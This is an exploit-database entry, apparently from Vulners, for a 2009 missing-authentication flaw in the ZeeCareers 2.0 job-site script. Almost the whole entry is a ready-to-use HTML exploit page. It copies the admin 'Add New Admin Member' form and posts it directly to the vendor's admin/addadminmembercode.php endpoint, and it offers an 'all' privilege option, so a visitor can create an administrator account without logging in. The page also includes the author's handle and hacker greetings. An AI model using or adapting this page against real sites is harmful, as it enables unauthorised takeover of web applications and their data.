ZeeCareers 2.0 (addadminmembercode.php) Add Admin Exploit

🗓️ 27 May 2009 00:00:00Reported by RootType
ZeeCareers 2.0 Admin Exploit via addadminmembercode.ph

                                                &lt;!--
[»] ZeeCareers v2.0 (addadminmembercode.php) [ Add Admin ]
[»] Live Demo: http://www.ZeeCareers.com/demo/index.php
[»] By: x.CJP.x
[»] Greeting : His0k4,Sub-Zero,Bibi-info,Aach2006,Youness,Simitch,Halimz,B0ub0u,Mun[3]im.. :=)
[»] Note:Walleh Ghir 3la Jalek Lakhater W3adtek [ ThE g0bL!N ] W Ismahli :$;
!--&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;ZeeCareers v2.0 (addadminmembercode.php) [ Add Admin ]&lt;/title&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; style=&quot;padding-left:2px&quot;&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;3&quot;&gt;
&lt;center&gt;&lt;h3&gt;&lt;(=[ x.CJP.x ]=)&gt;&lt;/h3&gt;&lt;/center&gt;
&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; style=&quot;padding-left:2px&quot;&gt;
  
&lt;/table&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width=&quot;98%&quot; valign=&quot;top&quot; style=&quot;padding-left:2px;&quot;&gt;&lt;html&gt;
&lt;script language=&quot;javascript&quot;&gt;
function	validate(form)
{
	if(form.name.value == &quot;&quot; || !isNaN(form.username.value))
	{
		alert(&quot;Please enter your name correctly.&quot;);
		form.username.focus();
		return	false;
	}
	if(form.name.value == &quot;&quot; || !isNaN(form.fname.value))
	{
		alert(&quot;Please enter your name correctly.&quot;);
		form.fname.focus();
		return	false;
	}
	if(form.name.value == &quot;&quot; || !isNaN(form.lname.value))
	{
		alert(&quot;Please enter your name correctly.&quot;);
		form.lname.focus();
		return	false;
	}
	//email Verification
if(!verifyemail(form.email.value))
      {
        return false;
      }
 function verifyemail(addr)
  {
      var invalidchar=&quot;\/|'\\;,:?!&lt;&gt;=-()[](\`~^%$#&amp;*;&quot;  ;

		  for(i=0;i&lt;invalidchar.length;i++)
		   {
		      if(addr.indexOf(invalidchar.charAt(i),0) &gt; -1)

		        {
					alert(&quot;email Id Contain invalid character&quot;);

					form.email.value=&quot;&quot;;

					form.email.focus();

					return(false);
		        }
		  }
		   var atpos=addr.indexOf(&quot;@&quot;,0);

		    if(addr.indexOf(&quot;@&quot;,0)== -1)

		        {
					alert(&quot;email Id Must Contain a @ in The Domain Name&quot;);

					form.email.value=&quot;&quot;;

					form.email.focus();

					return(false);
		        }
		   if(atpos==0)

		     {
				alert(&quot;email Id must not start with @&quot;);

				form.email.value=&quot;&quot;;

				form.email.focus();

				return(false);

		     } 
		      if(addr.indexOf(&quot;@&quot;,atpos+1)&gt;-1)

		       {
					alert(&quot;email Id Must contain @ only one&quot;);

					form.email.value=&quot;&quot;;

					form.email.focus();

					return(false); 
		       } 
		      if(addr.indexOf(&quot;.&quot;,atpos)== -1)

		        {
					alert(&quot;email Id Must Contain a Period in The Domain Name&quot;);

				   form.email.value=&quot;&quot;;

				   form.email.focus();

					return(false);
		        } 
		        if(addr.indexOf(&quot;@.&quot;,0)!=-1)

		         {
					alert(&quot;Period must not immediately follow @ in Email&quot;);

					form.email.value=&quot;&quot;;

					form.email.focus();

					return(false) 
		         }
		         if(addr.indexOf(&quot;..&quot;,0)!=-1)

		          {
					alert(&quot;Two Periods must not be adjacent in email Address&quot;);

					form.email.value=&quot;&quot;;

					form1.email.focus();

					return(false)

		          }
		          if(addr.lastIndexOf(&quot;.&quot;)== (addr.length - 1) )

		          {
					alert(&quot;Period ../connot be the last character in Email&quot;);

					form.email.value=&quot;&quot;;

					form.email.focus();

					return(false);
		          }
		      return true;
	 }
	
	if(form.password.value == &quot;&quot;)
	{
		alert(&quot;Please enter your password.&quot;);
		form.password.focus();
		return	false;
	}
	if(form.password1.value == &quot;&quot;)
	{
		alert(&quot;Please re-enter your password.&quot;);
		form.password1.focus();
		return	false;
	}
	if(form.password.value != form.password1.value)
	{
		alert(&quot;The passwords you entered doesn't match.&quot;);
		form.password.focus();
		return	false;
	}
}

&lt;/script&gt;
&lt;body&gt;
&lt;br&gt;

&lt;table width=&quot;100%&quot; style=&quot;border: 1px solid rgb(169, 211, 225);&quot; align=&quot;left&quot;&gt;
					&lt;form id=&quot;subsform&quot; name=&quot;subsform&quot; method=&quot;post&quot; action=&quot;http://www.zeecareers.com/demo/admin/addadminmembercode.php&quot; onSubmit=&quot;return validate(this);&quot;&gt;
					&lt;input name=&quot;privilageid&quot; type=&quot;hidden&quot; id=&quot;privilageid&quot; value=&quot;add&quot;/&gt;
                  &lt;tr valign=&quot;middle&quot;&gt;
                    &lt;td height=&quot;21&quot; colspan=&quot;4&quot; align=&quot;left&quot; class=&quot;bluebg&quot;&gt;&lt;strong&gt;Add New Admin Member &lt;/strong&gt;&lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;tr&gt;
                    &lt;td width=&quot;23%&quot; align=&quot;right&quot; valign=&quot;top&quot; class=&quot;normal&quot;&gt;Username&lt;/td&gt;
                    &lt;td width=&quot;3%&quot; align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;div align=&quot;left&quot;&gt;
                        &lt;input name=&quot;username&quot; type=&quot;text&quot; class=&quot;textbox&quot; id=&quot;username&quot; size=&quot;40&quot; maxlength=&quot;40&quot; /&gt;
                    &lt;/div&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                    &lt;td align=&quot;right&quot; valign=&quot;top&quot; class=&quot;normal&quot;&gt;Firstname&lt;/td&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;fname&quot; type=&quot;text&quot; class=&quot;textbox&quot; id=&quot;fname&quot; size=&quot;40&quot; maxlength=&quot;40&quot; /&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                    &lt;td align=&quot;right&quot; valign=&quot;top&quot; class=&quot;normal&quot;&gt;Lastname&lt;/td&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;lname&quot; type=&quot;text&quot; class=&quot;textbox&quot; id=&quot;lname&quot; size=&quot;40&quot; maxlength=&quot;40&quot; /&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                    &lt;td valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;&lt;div align=&quot;right&quot; class=&quot;normal&quot;&gt;Email&lt;/div&gt;&lt;/td&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;div align=&quot;left&quot;&gt;
                        &lt;input name=&quot;email&quot; type=&quot;text&quot; class=&quot;textbox&quot; id=&quot;email&quot; size=&quot;40&quot; maxlength=&quot;40&quot; /&gt;
                    &lt;/div&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                    &lt;td height=&quot;22&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;&lt;div align=&quot;right&quot; class=&quot;normal&quot;&gt;Password&lt;/div&gt;&lt;/td&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;div align=&quot;left&quot;&gt;
                        &lt;input name=&quot;password&quot; type=&quot;password&quot; class=&quot;textbox&quot; id=&quot;password&quot; size=&quot;40&quot; maxlength=&quot;40&quot; /&gt;
                    &lt;/div&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                    &lt;td height=&quot;22&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;&lt;div align=&quot;right&quot; class=&quot;normal&quot;&gt;Password Repeat &lt;/div&gt;&lt;/td&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;div align=&quot;left&quot;&gt;
                        &lt;input name=&quot;password1&quot; type=&quot;password&quot; class=&quot;textbox&quot; id=&quot;password1&quot; size=&quot;40&quot; maxlength=&quot;40&quot; /&gt;
                    &lt;/div&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  &lt;tr&gt;
                    &lt;td height=&quot;47&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;&lt;div align=&quot;right&quot; class=&quot;normal&quot;&gt;Privilages &lt;/div&gt;&lt;/td&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot; class=&quot;deepbluetext&quot;&gt;:&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;54%&quot; border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; style=&quot;border: 1px solid rgb(169, 211, 225);&quot; align=&quot;left&quot;&gt;
                      &lt;tr class=&quot;bluebg&quot;&gt;
                        &lt;td width=&quot;11%&quot; align=&quot;center&quot;&gt;&lt;strong&gt;All&lt;/strong&gt;&lt;/td&gt;
                        &lt;td width=&quot;14%&quot; align=&quot;center&quot;&gt;&lt;strong&gt;Add&lt;/strong&gt;&lt;/td&gt;
                        &lt;td width=&quot;13%&quot; align=&quot;center&quot;&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/td&gt;
                        &lt;td width=&quot;17%&quot; align=&quot;center&quot;&gt;&lt;strong&gt;Delete&lt;/strong&gt;&lt;/td&gt;
                        &lt;td width=&quot;27%&quot; align=&quot;center&quot;&gt;&lt;strong&gt;Read only &lt;/strong&gt;&lt;/td&gt;
                        &lt;td width=&quot;18%&quot; align=&quot;center&quot;&gt;&lt;strong&gt;Email&lt;/strong&gt;&lt;/td&gt;
                      &lt;/tr&gt;
                      &lt;tr&gt;
                        &lt;td align=&quot;center&quot; bgcolor=&quot;#E7E8DB&quot;&gt;&lt;input name=&quot;privilages&quot; type=&quot;radio&quot; value=&quot;all&quot;&gt;&lt;/td&gt;
                        &lt;td align=&quot;center&quot; bgcolor=&quot;#E7E8DB&quot;&gt;&lt;input name=&quot;privilages&quot; type=&quot;radio&quot; value=&quot;add&quot;&gt;&lt;/td&gt;
                        &lt;td align=&quot;center&quot; bgcolor=&quot;#E7E8DB&quot;&gt;&lt;input name=&quot;privilages&quot; type=&quot;radio&quot; value=&quot;edit&quot;&gt;&lt;/td&gt;
                        &lt;td align=&quot;center&quot; bgcolor=&quot;#E7E8DB&quot;&gt;&lt;input name=&quot;privilages&quot; type=&quot;radio&quot; value=&quot;delete&quot;&gt;&lt;/td&gt;
                        &lt;td align=&quot;center&quot; bgcolor=&quot;#E7E8DB&quot;&gt;&lt;input name=&quot;privilages&quot; type=&quot;radio&quot; value=&quot;read&quot;&gt;&lt;/td&gt;
                        &lt;td align=&quot;center&quot; bgcolor=&quot;#E7E8DB&quot;&gt;&lt;input name=&quot;privilages&quot; type=&quot;radio&quot; value=&quot;read&quot;&gt;&lt;/td&gt;
                      &lt;/tr&gt;
                    &lt;/table&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  
                  
                  &lt;tr&gt;
                    &lt;th height=&quot;26&quot; valign=&quot;top&quot; scope=&quot;row&quot;&gt;&amp;nbsp;&lt;/th&gt;
                    &lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;&amp;nbsp;&lt;/td&gt;
                    &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;btnsubmit&quot; type=&quot;submit&quot; id=&quot;btnsubmit&quot; value=&quot;Add Member&quot; /&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                &lt;/form&gt;
            &lt;/table&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;
&lt;/html&gt;
27 May 2009 00:00Current
7.1High risk
Vulners AI Score7.1